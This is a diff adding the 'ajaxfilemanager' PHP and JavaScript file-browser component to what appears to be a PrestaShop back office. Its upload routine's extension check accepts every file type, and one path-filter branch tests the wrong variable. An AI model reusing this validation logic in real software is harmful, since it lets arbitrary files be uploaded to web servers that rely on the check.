trimlrm(CONFIG_SYS_EXC_DIR_PATTERN); + + if(!empty($includeDir) && !empty($excludeDir)) + { + + $validDir = explode(',', $includeDir); + + $invalidDir = explode(",", $excludeDir); + + if(array_search(basename($path), $validDir) !== false && array_search(basename($path), $invalidDir) === false) + { + return true; + }else + { + return false; + } + }elseif(!empty($includeDir)) + { + $validDir = explode(',', $includeDir); + if(array_search(basename($path), $validDir) !== false) + { + return true; + }else + { + return false; + } + + }elseif(!empty($excludeFile)) + { + $invalidDir = explode(",", $excludeDir); + if(array_search(basename($path), $invalidDir) === false) + { + return true; + }else + { + return false; + } + } + return true; + + }elseif(is_file($path)) + { + $includeFile = trimlrm(CONFIG_SYS_INC_FILE_PATTERN); + $excludeFile = trimlrm(CONFIG_SYS_EXC_FILE_PATTERN); + if(!empty($includeFile) && !empty($excludeFile)) + { + $validFile = explode(',', $includeFile); + $invalidFile = explode(',', $excludeFile); + if(array_search(basename($path), $validFile) !== false && array_search(basename($path), $invalidFile) === false) + { + return true; + }else + { + return false; + } + }elseif(!empty($includeFile)) + { + $validFile = explode(',', $includeFile); + if(array_search(basename($path), $validFile) !== false) + { + return true; + }else + { + return false; + } + }elseif(!empty($excludeFile)) + { + $invalidFile = explode(',', $excludeFile); + if(array_search(basename($path), $invalidFile) === false) + { + return true; + }else + { + return false; + } + } + return true; + } + } + else + {//regular expression + if(is_dir($path) ) + { + if(isValidPattern(CONFIG_SYS_INC_DIR_PATTERN, $path) && !isInvalidPattern(CONFIG_SYS_EXC_DIR_PATTERN, $path)) + { + return true; + }else + { + return false; + } + + }elseif(is_file($path)) + { + if(isValidPattern(CONFIG_SYS_INC_FILE_PATTERN, $path) && !isInvalidPattern(CONFIG_SYS_EXC_FILE_PATTERN, $path) ) + { + return true; + }else + { + return false; + } + } + } + return false; + + } + + /** + * force to down the specified file + * + * @param string $path + * + */ + function downloadFile($path, $newFileName=null) + { + if(file_exists($path) && is_file($path)) + { + $mimeContentType = 'application/octet-stream'; + if(function_exists('finfo_open')) + { + if(($fp = @finfo_open($path))) + { + $mimeContentType = @finfo_file($fp, basename($path)); + @finfo_close($fp); + } + + }elseif(($temMimeContentType = @mime_content_type($path)) && !empty($temMimeContentType)) + { + $mimeContentType = $temMimeContentType; + } + + + + + + // START ANDRE SILVA DOWNLOAD CODE + // required for IE, otherwise Content-disposition is ignored + if(ini_get('zlib.output_compression')) + ini_set('zlib.output_compression', 'Off'); + header("Pragma: public"); // required + header("Expires: 0"); + header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); + header("Cache-Control: private",false); // required for certain browsers + header("Content-Type: " . $mimeContentType ); + // change, added quotes to allow spaces in filenames, by Rajkumar Singh + header("Content-Disposition: attachment; filename=\"".(is_null($newFileName)?basename($path):$newFileName)."\";" ); + header("Content-Transfer-Encoding: binary"); + header("Content-Length: ".filesize($path)); + + readfile($path); + exit(); + // END ANDRE SILVA DOWNLOAD CODE + } + + } + + /** + * remove all white spaces + * + * @param string $hayStack + * @param string $whiteSpaceChars + * @return string + */ + function trimlrm ($hayStack, $whiteSpaceChars="\t\n\r\0\x0B") + { + return str_replace($whiteSpaceChars, '', trim($hayStack)); + } + + /** + * get the parent path of the specified path + * + * @param string $path + * @return string + */ + function getParentFolderPath($path) + { + $realPath = addTrailingSlash(backslashToSlash(getRealPath($path))); + $parentRealPath = addTrailingSlash(backslashToSlash(dirname($realPath))); + $differentPath = addTrailingSlash(substr($realPath, strlen($parentRealPath))); + $parentPath = substr($path, 0, strlen(addTrailingSlash(backslashToSlash($path))) - strlen($differentPath)); + if(isUnderRoot($parentPath)) + { + return $parentPath; + }else + { + return CONFIG_SYS_DEFAULT_PATH; + } + } + + function getCurrentFolderPath() + { + $folderPathIndex = 'path'; + $lastVisitedFolderPathIndex = 'ajax_last_visited_folder'; + if(isset($_GET[$folderPathIndex]) && file_exists($_GET[$folderPathIndex]) && !is_file($_GET[$folderPathIndex]) ) + { + $currentFolderPath = $_GET[$folderPathIndex]; + } + elseif(isset($_SESSION[$lastVisitedFolderPathIndex]) && file_exists($_SESSION[$lastVisitedFolderPathIndex]) && !is_file($_SESSION[$lastVisitedFolderPathIndex])) + { + $currentFolderPath = $_SESSION[$lastVisitedFolderPathIndex]; + }else + { + $currentFolderPath = CONFIG_SYS_DEFAULT_PATH; + } + + $currentFolderPath = (isUnderRoot($currentFolderPath)?backslashToSlash((addTrailingSlash($currentFolderPath))):CONFIG_SYS_DEFAULT_PATH); + + //keep track of this folder path in session + $_SESSION[$lastVisitedFolderPathIndex] = $currentFolderPath; + + + if(!file_exists($currentFolderPath)) + { + die(ERR_FOLDER_NOT_FOUND . $currentFolderPath); + } + } + + if(!function_exists("imagerotate")) + { + function imagerotate($src_img, $angle, $bicubic=false) + { + // convert degrees to radians + + $angle = (360 - $angle) + 180; + $angle = deg2rad($angle); + + $src_x = imagesx($src_img); + $src_y = imagesy($src_img); + + $center_x = floor($src_x/2); + $center_y = floor($src_y/2); + + $rotate = imagecreatetruecolor($src_x, $src_y); + imagealphablending($rotate, false); + imagesavealpha($rotate, true); + + $cosangle = cos($angle); + $sinangle = sin($angle); + + for ($y = 0; $y < $src_y; $y++) { + for ($x = 0; $x < $src_x; $x++) { + // rotate... + $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle) + + $center_x; + $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle) + + $center_y; + + if ( $old_x >= 0 && $old_x < $src_x + && $old_y >= 0 && $old_y < $src_y ) { + if ($bicubic == true) { + $sY = $old_y + 1; + $siY = $old_y; + $siY2 = $old_y - 1; + $sX = $old_x + 1; + $siX = $old_x; + $siX2 = $old_x - 1; + + $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2)); + $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY)); + $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2)); + $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY)); + + $r = ($c1['red'] + $c2['red'] + $c3['red'] + $c4['red'] ) << 14; + $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6; + $b = ($c1['blue'] + $c2['blue'] + $c3['blue'] + $c4['blue'] ) >> 2; + $a = ($c1['alpha'] + $c2['alpha'] + $c3['alpha'] + $c4['alpha'] ) >> 2; + $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a); + } else { + $color = imagecolorat($src_img, $old_x, $old_y); + } + } else { + // this line sets the background colour + $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127); + } + imagesetpixel($rotate, $x, $y, $color); + } + } + return $rotate; +/* $src_x = @imagesx($src_img); + $src_y = @imagesy($src_img); + if ($angle == 180) + { + $dest_x = $src_x; + $dest_y = $src_y; + } + elseif ($src_x <= $src_y) + { + $dest_x = $src_y; + $dest_y = $src_x; + } + elseif ($src_x >= $src_y) + { + $dest_x = $src_y; + $dest_y = $src_x; + } + if(function_exists('ImageCreateTrueColor')) + { + $rotate = @ImageCreateTrueColor($dst_w,$dst_h); + } else { + $rotate = @ImageCreate($dst_w,$dst_h); + } + @imagealphablending($rotate, false); + + switch ($angle) + { + case 270: + for ($y = 0; $y < ($src_y); $y++) + { + for ($x = 0; $x < ($src_x); $x++) + { + $color = imagecolorat($src_img, $x, $y); + imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); + } + } + break; + case 90: + for ($y = 0; $y < ($src_y); $y++) + { + for ($x = 0; $x < ($src_x); $x++) + { + $color = imagecolorat($src_img, $x, $y); + imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); + } + } + break; + case 180: + for ($y = 0; $y < ($src_y); $y++) + { + for ($x = 0; $x < ($src_x); $x++) + { + $color = imagecolorat($src_img, $x, $y); + imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); + } + } + break; + default: $rotate = $src_img; + }; + return $rotate;*/ + } + } +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/inc/index.php b/BO/ajaxfilemanager/inc/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/inc/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/index.php b/BO/ajaxfilemanager/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/ajaxfilemanager.js b/BO/ajaxfilemanager/jscripts/ajaxfilemanager.js new file mode 100755 index 0000000..05bd03d --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/ajaxfilemanager.js @@ -0,0 +1,1845 @@ +/* +/* + * author: Logan Cai + * Email: cailongqun [at] yahoo [dot] com [dot] cn + * Website: www.phpletter.com + * Created At: 21/April/2007 + * Modified At: 1/June/2007 +*/ +// Returns true if the passed value is found in the +// array. Returns false if it is not. +Array.prototype.inArray = function (value,caseSensitive) +{ + var i; + for (i=0; i < this.length; i++) + { + // use === to check for Matches. ie., identical (===), + if(caseSensitive){ //performs match even the string is case sensitive + if (this[i].toLowerCase() == value.toLowerCase()) + { + return true; + } + }else + { + if (this[i] == value) + { + return true; + } + } + } + return false; +}; + var dcTime=250; // doubleclick time + var dcDelay=100; // no clicks after doubleclick + var dcAt=0; // time of doubleclick + var savEvent=null; // save Event for handling doClick(). + var savEvtTime=0; // save time of click event. + var savTO=null; // handle of click setTimeOut + var linkElem = null; + + + function hadDoubleClick() + { + var d = new Date(); + var now = d.getTime(); + if ((now - dcAt) < dcDelay) + { + return true; + } + return false; + }; + + +/** +* enable left click to preview certain files +*/ +function enablePreview(elem, num) +{ + + $(elem).each( + function() + { + + $(this).click(function () + { + + //alert('single click'); + var num = getNum(this.id); + var path = files[num].path; + //alert('now: ' + now + '; dcat: ' + dcAt + '; dcDelay: ' + dcDelay); + if (hadDoubleClick()) + { + return false; + }else + { + linkElem = $('#a' + num).get(0); + } + + d = new Date(); + savEvtTime = d.getTime(); + savTO = setTimeout(function() + { + if (savEvtTime - dcAt > 0) + { + //check if this file is previewable + + + var ext = getFileExtension(path); + var supportedExts = supporedPreviewExts.split(","); + var isSupportedExt = false; + for (i in supportedExts) + { + var typeOf = typeof(supportedExts[i]); + //alert(supportedExts[i]); + if(typeOf.toLowerCase() == 'string' && supportedExts[i].toLowerCase() == ext.toLowerCase()) + { + isSupportedExt = true; + break; + } + + } + + if(isSupportedExt) + { + switch(files[num].cssClass) + { + case 'fileVideo': + case 'fileMusic': + case 'fileFlash': + + $('#playGround').html('
 this is mine
'); + + + $('#playGround' + num).html(''); + $('#playGround' + num).media({ width: 255, height: 210, autoplay: true }); + //alert($('#playGround' + num).html()); + showThickBox($('#a' + num).get(0), appendQueryString('#TB_inline', 'height=250' + '&width=256' + '&inlineId=winPlay&modal=true')); + + break; + default: + showThickBox(linkElem, appendQueryString(path, 'KeepThis=true&TB_iframe=true&height=' + thickbox.height + '&width=' + thickbox.width)); + + } + + } + + } + + + return false; + + }, dcTime); + + return false; + + }); + $(this).dblclick(function() + { + var d = new Date(); + dcAt = d.getTime(); + if (savTO != null) { + clearTimeout( savTO ); // Clear pending Click + savTO = null; + + } + + if(typeof(selectFile) != 'undefined') + { + + selectFile(files[num].url); + }else + generateDownloadIframe(appendQueryString(getUrl('download'), 'path=' + files[num].path, ['path'])); { + + } + + } + ); + + } + ); +}; +/** +* add over class to the specific table +*/ +function tableRuler(element) +{ + + var rows = $(element); + + $(rows).each(function(){ + $(this).mouseover(function(){ + $(this).addClass('over'); + }); + $(this).mouseout(function(){ + $(this).removeClass('over'); + }); + }); +}; + + + + + + + +function previewMedia(rowNum) +{ + $('#preview' +rowNum).html(''); + $('#preview' +rowNum).media({ width: 255, height: 210, autoplay: true }); + return false; +}; + +function getFileExtension(filename) +{ + if( filename.length == 0 ) return ""; + var dot = filename.lastIndexOf("."); + if( dot == -1 ) return ""; + var extension = filename.substr(dot + 1,filename.length); + return extension; +}; + +function closeWindow() +{ + if(window.confirm(warningCloseWindow)) + { + window.close(); + } + return false; +}; + +/** +* return the url with query string +*/ +function getUrl(index,limitNeeded , viewNeeded, searchNeeded) +{ + + var queryStr = ''; + var excluded = new Array(); + + if(typeof(limitNeeded) == 'boolean' && limitNeeded) + { + var limit = document.getElementById('limit'); + var typeLimit = typeof(limit); + + if(typeLimit != 'undefined' && limit ) + { + excluded[excluded.length] = 'limit'; + queryStr += (queryStr == ''?'':'&') + 'limit=' + limit.options[limit.selectedIndex].value; + } + + } + if(typeof(viewNeeded) == 'boolean' && viewNeeded) + { + queryStr += (queryStr == ''?'':'&') + 'view=' + getView(); + excluded[excluded.length] = 'view'; + + } + + if(typeof(searchNeeded) == 'boolean' && searchNeeded && searchRequired) + { + var search_recursively = 0; + $('input[@name=search_recursively][@checked]').each( + function() + { + search_recursively = this.value; + } + ); + var searchFolder = document.getElementById('search_folder'); + queryStr += (queryStr == ''?'':'&') + 'search=1&search_name=' + $('#search_name').val() + '&search_recursively=' + search_recursively + '&search_mtime_from=' + $('#search_mtime_from').val() + '&search_mtime_to=' + $('#search_mtime_to').val() + '&search_folder=' + searchFolder.options[searchFolder.selectedIndex].value; + excluded[excluded.length] = 'search'; + excluded[excluded.length] = 'search_recursively'; + excluded[excluded.length] = 'search_mtime_from'; + excluded[excluded.length] = 'search_mtime_to'; + excluded[excluded.length] = 'search_folder'; + excluded[excluded.length] = 'search_name'; + excluded[excluded.length] = 'search'; + + } + + + + return appendQueryString(appendQueryString(urls[index], queryString), queryStr, excluded); +}; +/** +* change view +*/ +function changeView() +{ + + var url = getUrl('view', true, true); + $('#rightCol').empty(); + ajaxStart('#rightCol'); + + $('#rightCol').load(url, + {}, + function(){ + ajaxStop('#rightCol img.ajaxLoadingImg'); + urls.present = getUrl('home', true, true); + initAfterListingLoaded(); + }); +}; + +function goParentFolder() +{ + + searchRequired = false; + var url = appendQueryString(getUrl('view', true, true), 'path=' + parentFolder.path , ['path']); + $('#rightCol').empty(); + ajaxStart('#rightCol'); + + $('#rightCol').load(url, + {}, + function(){ + urls.present = appendQueryString(getUrl('home', true, true), 'path=' + parentFolder.path , ['path']); + ajaxStop('#rightCol img.ajaxLoadingImg'); + initAfterListingLoaded(); + }); + +}; + +/** +* append Query string to the base url +* @param string baseUrl the base url +* @param string the query string +* @param array remove thost url variable from base url if any matches +*/ +function appendQueryString(baseUrl, queryStr, excludedQueryStr) +{ + + if(typeof(excludedQueryStr) == 'object' && excludedQueryStr.length) + { + var isMatched = false; + var urlParts = baseUrl.split("?"); + baseUrl = urlParts[0]; + var count = 1; + if(typeof(urlParts[1]) != 'undefined' && urlParts[1] != '') + {//this is the query string parts + var queryStrParts = urlParts[1].split("&"); + for(var i=0; i < queryStrParts.length; i++) + { + //split into query string variable name & value + var queryStrVariables = queryStrParts[i].split('='); + for(var j=0; j < excludedQueryStr.length; j++) + { + if(queryStrVariables[0] == excludedQueryStr[j]) + { + isMatched = true; + } + } + if(!isMatched) + { + baseUrl += ((count==1?'?':'&') + queryStrVariables[0] + '=' + queryStrVariables[1]); + count++; + } + } + } + + } + if(queryStr != '') + { + return (baseUrl.indexOf('?')> -1?baseUrl + '&' + queryStr:baseUrl + '?' + queryStr); + }else + { + return baseUrl; + } + + + + +}; + + +/** +* initiate when the listing page is loaded +* add main features according to the view +*/ +function initAfterListingLoaded() +{ + + + parsePagination(); + + parseCurrentFolder(); + var view = getView(); + + setDocInfo('root'); + + if(view != '') + { + + switch(view) + { + + + case 'thumbnail': + //enableContextMenu('dl.thumbnailListing, dl.thumbnailListing dt, dl.thumbnailListing dd, dl.thumbnailListing a'); + enableContextMenu('dl.thumbnailListing'); + for(i in files) + { + if(files[i].type== 'folder') + {//this is foder item + + enableFolderBrowsable(i); + }else + {//this is file item + + switch(files[i].cssClass) + { + case 'filePicture': + //$('#a' + i).attr('rel', 'ajaxphotos'); + //retrieveThumbnail(i); + + break; + case 'fileFlash': + break; + case 'fileVideo': + break; + case 'fileMusic': + break; + default: + + + } + enablePreview('#dt' + i, i); + enablePreview('#thumbUrl' + i, i); + enablePreview('#a' + i, i); + + } + enableShowDocInfo( i); + + } + break; + case 'detail': + default: + + enableContextMenu('#fileList tr'); + for(i in files) + { + if(files[i].type== 'folder') + {//this is foder item + enableFolderBrowsable(i); + }else + {//this is file item + switch(files[i].cssClass) + { + case 'filePicture': + $('#row' + i + ' td a').attr('rel', 'ajaxphotos'); + break; + case 'fileFlash': + break; + case 'fileVideo': + break; + case 'fileMusic': + break; + default: + + }; + enablePreview('#row' + i + ' td a', i); + + } + enableShowDocInfo(i); + } + break; + + + } + } + + +}; + +function enableFolderBrowsable(num, debug) +{ + + switch(getView()) + { + case 'thumbnail': + $('#dt'+ num + ' , #dd' + num + ' a').each(function() + + { +/* if(typeof(debug) != 'undefined' && debug) + { + alert(this.tagName + ' ' + files[num].path); + }*/ + doEnableFolderBrowsable(this, num); + } + ); + break; + case 'detail': + default: + $('#row' + num + ' td[a]').each(function() + + { + doEnableFolderBrowsable(this, num ); + } + ); + + } + + + + +}; + +function doEnableFolderBrowsable(elem, num) +{ + $(elem).click(function() + { + { + searchRequired = false; + var typeNum = typeof(num); + if(typeNum.toUpperCase() == 'STRING') + { + var fpath = (num.indexOf(urls.view) >=0?num:files[num].path); + }else + { + var fpath = files[num].path; + } + + + var url = appendQueryString(getUrl('view', true, true), 'path=' + fpath, ['path']); + + + $('#rightCol').empty(); + ajaxStart('#rightCol'); + $('#rightCol').load(url, + {}, + function(){ + urls.present = appendQueryString(getUrl('home', true, true), 'path=' + fpath, ['path']); + ajaxStop('#rightCol img.ajaxLoadingImg'); + initAfterListingLoaded(); + }); + }; + return false; + + } + ); +}; + +/** +* @param mixed destinationSelector where the animation image will be append to +* @param mixed selectorOfAnimation the jquery selector of the animation +*/ +function ajaxStart(destinationSelector, id, selectorOfAnimation) +{ + if(typeof(selectorOfAnimation) == 'undefined') + {//set defaullt animation + selectorOfAnimation = '#ajaxLoading img'; + } + if(typeof(id) != 'undefined') + { + $(selectorOfAnimation).clone().attr('id', id).appendTo(destinationSelector); + + }else + { + $(selectorOfAnimation).clone(true).appendTo(destinationSelector); + + } + + +}; +/** +* remove the ajax animation +* @param mixed selectorOfAnimation the jquery selector of the animation +*/ +function ajaxStop(selectorOfAnimation) +{ + $(selectorOfAnimation).remove(); +}; +/** +* change pagination limit +*/ +function changePaginationLimit(elem) +{ + var url = getUrl('view', true, true, true); + $('#rightCol').empty(); + ajaxStart('#rightCol'); + $('#rightCol').load(url, + {}, + function(){ + urls.present = appendQueryString(getUrl('home', true, true), 'path=' + parentFolder.path , ['path']) + ajaxStop('#rightCol img.ajaxLoadingImg'); + initAfterListingLoaded(); + }); +}; +/** +* get a query string variable value from an url +* @param string index +* @param string url +*/ +function getUrlVarValue(url, index) +{ + + if(url != '' && index != '') + { + var urlParts = url.split("?"); + baseUrl = urlParts[0]; + var count = 1; + if(typeof(urlParts[1]) != 'undefined' && urlParts[1] != '') + {//this is the query string parts + var queryStrParts = urlParts[1].split("&"); + for(var i=0; i < queryStrParts.length; i++) + { + //split into query string variable name & value + var queryStrVariables = queryStrParts[i].split('='); + if(queryStrVariables[0] == index) + { + return queryStrVariables[1]; + } + } + } + } + return ''; + +}; +/** +* parse current folder +*/ +function parseCurrentFolder() +{ + var folders = currentFolder.friendly_path.split('/'); + var str = ''; + var url = getUrl('view', true, true); + + var parentPath = ''; + for(var i = 0; i < folders.length; i++) + { + if(i == 0) + { + parentPath += paths.root; + str += '/' + paths.root_title + '' + + }else + { + if(folders[i] != '') + { + + parentPath += folders[i] + '/'; + str += '/' + folders[i] + ''; + } + } + } + $('#currentFolderPath').empty().append(str); + $('#currentFolderPath a').each( + function() + { + doEnableFolderBrowsable(this, $(this).attr('href')); + } + ); +}; +/** +* enable pagination as ajax function call +*/ +function parsePagination() +{ + $('p.pagination a[@id!=pagination_parent_link]').each(function () + { + $(this).click( + function() + { + + + var page = getUrlVarValue($(this).attr('href'), 'page'); + var url = appendQueryString(getUrl('view', true, true, searchRequired),'page=' + page, ['page']); + $('#rightCol').empty(); + ajaxStart('#rightCol'); + $('#rightCol').load(url, + {}, + function(){ + urls.present = appendQueryString(getUrl('home', true, true, searchRequired),'page=' + page, ['page']); + ajaxStop('#rightCol img.ajaxLoadingImg'); + initAfterListingLoaded(); + }); + return false; + } + + ); + } + ); +}; +/** +* get current view +*/ +function getView() +{ + var view = $('input[@name=view][@checked]').get(0); + if(typeof(view) != 'undefined') + { + return view.value; + }else + { + return ''; + } +}; + +function getNum(elemId) +{ + + if(typeof(elemId) != 'undefined' && elemId != '') + { + var r = elemId.match(/[\d\.]+/g); + if(typeof(r) != 'undefined' && r && typeof(r[0]) != 'undefined') + { + return r[0]; + } + } + + return 0; +}; + +function enableContextMenu(jquerySelectors) +{ + + $(jquerySelectors).contextMenu('contextMenu', + { + bindings: + { + 'menuSelect':function(t) + { + var num = (getNum($(t).attr('id'))); + + selectFile(files[num].url); + }, + 'menuPlay':function(t) + { + var num = (getNum($(t).attr('id'))); + $('#playGround').html('
 this is mine
'); + + + $('#playGround' + num).html(''); + $('#playGround' + num).media({ width: 255, height: 210, autoplay: true }); + //alert($('#playGround' + num).html()); + showThickBox($('#a' + num).get(0), appendQueryString('#TB_inline', 'height=250' + '&width=258' + '&inlineId=winPlay&modal=true')); + + + + }, + 'menuPreview':function(t) + { + var num = (getNum($(t).attr('id'))); + $('#a' + num).click(); + }, + 'menuDownload':function(t) + { + var num = (getNum($(t).attr('id'))); + generateDownloadIframe(appendQueryString(getUrl('download', false, false), 'path=' + files[num].path, ['path'])); + }, + 'menuRename':function(t) + { + var num = (getNum($(t).attr('id'))); + + showThickBox($('#a' + num).get(0), appendQueryString('#TB_inline', 'height=100' + '&width=350' + '&inlineId=winRename&modal=true')); + + $('div#TB_window #renameName').val(files[num].name); + $('div#TB_window #original_path').val(files[num].path); + $('div#TB_window #renameNum').val(num); + }, + 'menuEdit':function(t) + { + var num = (getNum($(t).attr('id'))); + var url = ''; + switch(files[num].cssClass) + { + case 'filePicture': + url = getUrl('image_editor'); + break; + default: + url = getUrl('text_editor'); + + } + var param = "status=yes,menubar=no,resizable=yes,scrollbars=yes,location=no,toolbar=no"; + param += ",height=" + screen.height + ",width=" + screen.width; + if(typeof(window.screenX) != 'undefined') + { + param += ",screenX = 0,screenY=0"; + }else if(typeof(window.screenTop) != 'undefined' ) + { + param += ",left = 0,top=0" ; + } + var newWindow = window.open(url + ((url.lastIndexOf("?") > - 1)?"&":"?") + "path=" + files[num].path,'', param); + newWindow.focus( ); + + + }, + + 'menuCut':function(t) + { + + }, + 'menuCopy':function(t) + { + + }, + 'menuPaste':function(t) + { + + }, + 'menuDelete':function(t) + { + var num = (getNum($(t).attr('id'))); + if(window.confirm(warningDelete)) + { + $.getJSON(appendQueryString(getUrl('delete', false,false), 'delete=' + files[num].path, ['delete']), + function(data) + { + if(typeof(data.error) == 'undefined') + { + alert('Unexpected Error.'); + } + else if(data.error != '') + { + alert(data.error); + }else + {//remove deleted files + switch(getView()) + { + case 'thumbnail': $('#dl' + num ).remove(); + break; + case 'detail': + default: + $('#row' + num).remove(); + + } + files[num] = null; + } + } + ); + + + } + } + }, + onContextMenu:function(events) + { + + return true; + }, + onShowMenu:function(events, menu) + { + + switch(getView()) + { + case 'thumbnail': + var num = getNum(events.target.id); + + break; + case 'detail': + default: + switch(events.target.tagName.toLowerCase()) + { + case 'span': + + if($(events.target).parent().get(0).tagName.toLowerCase() == 'a') + { + + var num = getNum($(events.target).parent().parent().parent().attr('id')); + }else + { + var num = getNum($(events.target).parent().parent().parent().parent().attr('id')); + } + + + + break; + case 'td': + var num = getNum($(events.target).parent().attr('id')); + break; + case 'a': + case 'input': + var num = getNum($(events.target).parent().parent().attr('id')); + break; + } + } + + var menusToRemove = new Array; + if(typeof(selectFile) == 'undefined') + { + menusToRemove[menusToRemove.length] = '#menuSelect'; + } + menusToRemove[menusToRemove.length] = '#menuCut'; + menusToRemove[menusToRemove.length] = '#menuCopy'; + menusToRemove[menusToRemove.length] = '#menuPaste'; + switch(files[num].type) + { + case 'folder': + if(numFiles < 1) + { + menusToRemove[menusToRemove.length] = '#menuPaste'; + } + menusToRemove[menusToRemove.length] = '#menuPreview'; + menusToRemove[menusToRemove.length] = '#menuDownload'; + menusToRemove[menusToRemove.length] = '#menuEdit'; + menusToRemove[menusToRemove.length] = '#menuPlay'; + menusToRemove[menusToRemove.length] = '#menuDownload'; + + break; + default: + var isSupportedExt = false; + if(permits.edit) + { + var ext = getFileExtension(files[num].path); + var supportedExts = supporedPreviewExts.split(","); + + for(var i = 0; i < supportedExts.length; i++) + { + if(typeof(supportedExts[i]) != 'undefined' && typeof(supportedExts[i]).toLowerCase() == 'string' && supportedExts[i].toLowerCase() == ext.toLowerCase()) + { + isSupportedExt = true; + break; + } + } + + } + if(!isSupportedExt || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuEdit'; + } + + + switch(files[num].cssClass) + { + case 'filePicture': + menusToRemove[menusToRemove.length] = '#menuPlay'; + break; + case 'fileCode': + menusToRemove[menusToRemove.length] = '#menuPlay'; + break; + case 'fileVideo': + case 'fileFlash': + case 'fileMusic': + + menusToRemove[menusToRemove.length] = '#menuPreview'; menusToRemove[menusToRemove.length] = '#menuEdit'; + break; + default: + menusToRemove[menusToRemove.length] = '#menuPreview'; + menusToRemove[menusToRemove.length] = '#menuPlay'; + + + + } + menusToRemove[menusToRemove.length] = '#menuPaste'; + } + if(!permits.edit|| permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuEdit'; + } + if(!permits.del || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuDelete'; + } + if(!permits.cut || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuCut'; + } + if(!permits.copy || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuCopy'; + } + if((!permits.cut && !permits.copy) || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuPaste'; + } + if(!permits.rename || permits.view_only) + { + menusToRemove[menusToRemove.length] = '#menuRename'; + } + + //alert(menusToRemove.join(',')); + var txt = ''; + for(var t in menu) + { + //txt += t + ': ' + menu[t] + '\n'; + } + $(menu).children().children().children().each( + function() + { + if(menusToRemove.inArray('#' + this.id)) + { + $(this).parent().remove(); + } + //alert(this.id); + + + } + ) + //alert(menusToRemove.join(',')); + //$(menusToRemove.join(','), $(menu).children().children().children()).remove(); + + + return menu; + } + } + ); +}; + + +var fileUploadElemIds = new Array(); //keep track of the file element ids +/** +* add more file type of input file for multiple uploads +*/ +function addMoreFile() +{ + + var newFileUpload = $($('div#TB_window #fileUploadBody tr').get(0)).clone(); + + do + { + var elementId = 'upload' + generateUniqueId(10); + }while(fileUploadElemIds.inArray(elementId)); + + fileUploadElemIds[fileUploadElemIds.length] = elementId; + + $(newFileUpload).appendTo('div#TB_window #fileUploadBody'); + $('input[@type=file]', newFileUpload).attr('id', elementId); + $('span.uploadProcessing', newFileUpload).attr('id', 'ajax' + elementId); + $('input[@type=button]', newFileUpload).click( + function() + { + uploadFile(elementId); + } + ); + $('a', newFileUpload).show().click( + function() + { + cancelFileUpload(elementId); + } + ); + + + $(newFileUpload).show(); + + return false; +}; +/** +* cancel uploading file +* remove hidden upload frame +* remove hidden upload form +*/ +function cancelFileUpload(elementId) +{ + $('div#TB_window #' + elementId).parent().parent().remove(); + + //ensure there is at least one visible upload element + while($('div#TB_window #fileUploadBody tr').length < 2) + { + addMoreFile(); + } + return false; +}; +/** +* upload file +*/ +function uploadFile(elementId) +{ + + var ext = getFileExtension($('#' + elementId).val()); + if(ext == '') + { + alert(noFileSelected ); + return false; + } + var supportedExts = supportedUploadExts.split(","); + var isSupportedExt = false; + + for (i in supportedExts) + { + //alert(typeof(supportedExts[i])); + if(typeof(supportedExts[i]) == 'string') + { + isSupportedExt = true; + break; + } + } + + if(!isSupportedExt) + { + alert(msgInvalidExt); + return false; + } + + $('#ajax' + elementId).hide(); + $('#ajax' + elementId).show(); + $.ajaxFileUpload + ( + { + url:appendQueryString(getUrl('upload', false, false), 'folder=' + currentFolder.path, ['folder']), + secureuri:false, + fileElementId:elementId, + dataType: 'json', + success: function (data, status) + { + + if(typeof(data.error) != 'undefined') + { + if(data.error != '') + { + alert(data.error); + $('#ajax' + elementId).hide(); + }else + { + //remove the file type of input + cancelFileUpload(elementId); + numRows++; + files[numRows] = {}; + + for(var i in data) + { + if(i != 'error') + { + files[numRows][i] = data[i]; + } + } + addDocumentHtml(numRows); + } + } + + }, + error: function (data, status, e) + { + $('#ajax' + elementId).hide(); + alert(e); + } + } + ) + + return false; +}; +/** +* generate unique id +*/ +function generateUniqueId(leng) +{ + var idLength = leng || 